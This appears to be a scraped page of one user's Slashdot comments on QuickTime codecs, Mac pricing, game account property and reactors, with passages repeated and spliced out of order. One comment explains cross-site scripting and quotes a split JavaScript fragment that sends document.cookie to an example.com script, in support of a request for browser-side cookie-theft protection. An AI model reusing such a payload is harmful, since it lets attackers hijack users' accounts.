With movies like "Pirates of the Caribbean" and old Errol Flynn movies, and even Fisher-Price making pirate toys, I'd say as far as emotional charge goes, pirate is almost a positive. Got a little Captain in you?
I don't think you have any rights related to software you can't completely control yourself.
You can always sue, especially since it's a paid service; that doesn't mean you'll win. But consider domain names. Verisign didn't want them considered property, so people couldn't take legal action against them regarding stolen domains. The courts disagreed. In this case, however, the domain names had a demonstrable value; it's harder to argue that about a WoW character.
It's rather like peeling the skin off of only the top half of an orange (although in this case, the skin is less than paper thin.) Even if you adjusted your perceived center down by the thickness of the removed layer, it's still going to be higher elevations relative to the center on the bottom half.
More pertinent for me is that iMovie doesn't work with MPEG-2, so I can't use iMovie and iDVD to create DVDs from MPEG-2 files (such as those produced by a ReplayTV).
I understand your frustration, but Apple need to differentiate their product lines and market segments, so there is some tangible andvantage to you (or whoever) in paying the extra $$$ for a better spec, more convenience etc.
The prices on the Mac Mini and iMac are pretty much inline with the features, if not slightly cheaper in the iMac. Add a decent graphics chip to the Mini and Apple could price it with a profit margin larger than the low end iMac, so any sales cannibalization would still work out for Apple -- especially if it worked with the 30" LCD monitor.
When is Apple going to either stop making Quicktime suck or enable it to play all of the codecs out there?
Do you (or does anyone) know the nature of the obstacles to any third party doing this? Certainly plug-ins for Quicktime exist, Apple sells an MPEG-2 one. Is there a publicly known interface, or has Apple not published it? If there is a known interface, seems like one could create a generic wrapper and wrap each codec with it to make it Quicktime compatible.
My computer and PowerDVD seems to do a pretty good job of upscaling too. (Granted, I'm playing through a projector with RGB input, but you can get videocards with component output, or DVI->HDMI, depending on your display's inputs.)
I had an ex-girlfriend once, who I still kept in contact with for some reason, who broke up with her then fiance because he charged $500 of Pr0n onto her debit card. Not credit card, debit card! Besides the obvious "What a Tool!"
I dunno, it might be worth $500 to break off an engagement... perhaps it wasn't an accident?
rom the browser's perspective, there's no "user" code and "website" code, it's all "website" code.
Right. But how often does a website ever pass cookies intentionally to a completely different domain? If the answer is "pretty much never", and the browser sees it's being told to do just that, why not have a warning? Is it so hard to detect on the browser side? The insecure website that allowed my cookie to be stolen has been around for seven years. It's hard to be perfectly secure 24/7/365.
To what specifically are you referring when you say "cookie redirection"?
When a user is able to add their own scripting on someone else's site. Sites like myspace and neopets, for example, allows users to add video, pics, etc. to their pages on a website. If they were able to add Javascript like:
Couldn't the browser also include cookie theft prevention? Recently I had an online game spoiled when a scripter stole my cookie and thus accessed my account, via user-modifiable code on the game's site. While I suppose some times cookie redirection might be legitimate, I'd think it rare enough that some sort of configurable blocker would handle those few cases while making cookies safer in others.
Pebble bed reactors may be meltdown proof, but they also create more waste which isn't easily reprocessed. And the French haven't found reprocessing to be cost-effective. Regardless, however, you're trying to sell two different reactor types as the solution to two different problems -- despite the fact you have to choose one reactor type or the other, and thus can't solve both problems.
Slashdot Mirror
With movies like "Pirates of the Caribbean" and old Errol Flynn movies, and even Fisher-Price making pirate toys, I'd say as far as emotional charge goes, pirate is almost a positive. Got a little Captain in you?
Did she get sued by the Sub-Zero refrigerator company?
Oh yeah? Well say we KEEP arguing! Or next time it won't be your furniture I rearrange...
I don't think you have any rights related to software you can't completely control yourself.
You can always sue, especially since it's a paid service; that doesn't mean you'll win. But consider domain names. Verisign didn't want them considered property, so people couldn't take legal action against them regarding stolen domains. The courts disagreed. In this case, however, the domain names had a demonstrable value; it's harder to argue that about a WoW character.
I would have made some kind of retort here, but I was blindsided by your three digit number.
The groupies are the best part.
Now if you'll excuse me, I have some wax cylinders to rip...
No. Mostly because MPEG-2 licensing is not free.
That doesn't seem to have stopped VLC, etc.
You have not experienced these inventions until you have seen them in the original Klingon.
It's rather like peeling the skin off of only the top half of an orange (although in this case, the skin is less than paper thin.) Even if you adjusted your perceived center down by the thickness of the removed layer, it's still going to be higher elevations relative to the center on the bottom half.
More pertinent for me is that iMovie doesn't work with MPEG-2, so I can't use iMovie and iDVD to create DVDs from MPEG-2 files (such as those produced by a ReplayTV).
1. Yep.
2. Quicktime will play Mpeg-2 for an additional $20. See http://www.apple.com/quicktime/mpeg2/
2) Download the DivX Codec, from the obscure site known as "divx.com", just like you would have done in Windows.
It's unclear. Is the DivX codec free, and just the converter trial and time-limited? Or would he have to shell out $20 to see a cheesy video?
Is there any free MPEG-2 codec for Quicktime?
I understand your frustration, but Apple need to differentiate their product lines and market segments, so there is some tangible andvantage to you (or whoever) in paying the extra $$$ for a better spec, more convenience etc.
The prices on the Mac Mini and iMac are pretty much inline with the features, if not slightly cheaper in the iMac. Add a decent graphics chip to the Mini and Apple could price it with a profit margin larger than the low end iMac, so any sales cannibalization would still work out for Apple -- especially if it worked with the 30" LCD monitor.
When is Apple going to either stop making Quicktime suck or enable it to play all of the codecs out there?
Do you (or does anyone) know the nature of the obstacles to any third party doing this? Certainly plug-ins for Quicktime exist, Apple sells an MPEG-2 one. Is there a publicly known interface, or has Apple not published it? If there is a known interface, seems like one could create a generic wrapper and wrap each codec with it to make it Quicktime compatible.
Yes, you want the African Union, not the European Union. Although African Unions are non-migratory.
You have to know these things when you're a king, you know.
My computer and PowerDVD seems to do a pretty good job of upscaling too. (Granted, I'm playing through a projector with RGB input, but you can get videocards with component output, or DVI->HDMI, depending on your display's inputs.)
I had an ex-girlfriend once, who I still kept in contact with for some reason, who broke up with her then fiance because he charged $500 of Pr0n onto her debit card. Not credit card, debit card! Besides the obvious "What a Tool!"
I dunno, it might be worth $500 to break off an engagement... perhaps it wasn't an accident?
That would be a gangbang with a massive male majority ...
Perhaps Jasmine St. Claire is free?
My user number is the same as my bank account balance. Woo!
:-(
Me too...
rom the browser's perspective, there's no "user" code and "website" code, it's all "website" code.
Right. But how often does a website ever pass cookies intentionally to a completely different domain? If the answer is "pretty much never", and the browser sees it's being told to do just that, why not have a warning? Is it so hard to detect on the browser side? The insecure website that allowed my cookie to be stolen has been around for seven years. It's hard to be perfectly secure 24/7/365.
To what specifically are you referring when you say "cookie redirection"?
e .cgi?text='+escape(document.cookie); return false;">Click here!</a>
When a user is able to add their own scripting on someone else's site. Sites like myspace and neopets, for example, allows users to add video, pics, etc. to their pages on a website. If they were able to add Javascript like:
<a href="#" onclick="window.location='http://example.com/stol
then they could snag your cookie and access your account. Make it onload, I think, and they don't even have to click, just view the page.
Ideally, the website should restrict users from posting such code, but couldn't the browser also detect the redirect?
Seems kind of an off-base rant, since I explicitly mentioned reprocessing and how PBRs make it more difficult.
Couldn't the browser also include cookie theft prevention? Recently I had an online game spoiled when a scripter stole my cookie and thus accessed my account, via user-modifiable code on the game's site. While I suppose some times cookie redirection might be legitimate, I'd think it rare enough that some sort of configurable blocker would handle those few cases while making cookies safer in others.
Oh, we've seen plenty. Touched, on the other hand...
Pebble bed reactors may be meltdown proof, but they also create more waste which isn't easily reprocessed. And the French haven't found reprocessing to be cost-effective. Regardless, however, you're trying to sell two different reactor types as the solution to two different problems -- despite the fact you have to choose one reactor type or the other, and thus can't solve both problems.
And who pays the doctor bills for their stress-induced stroke?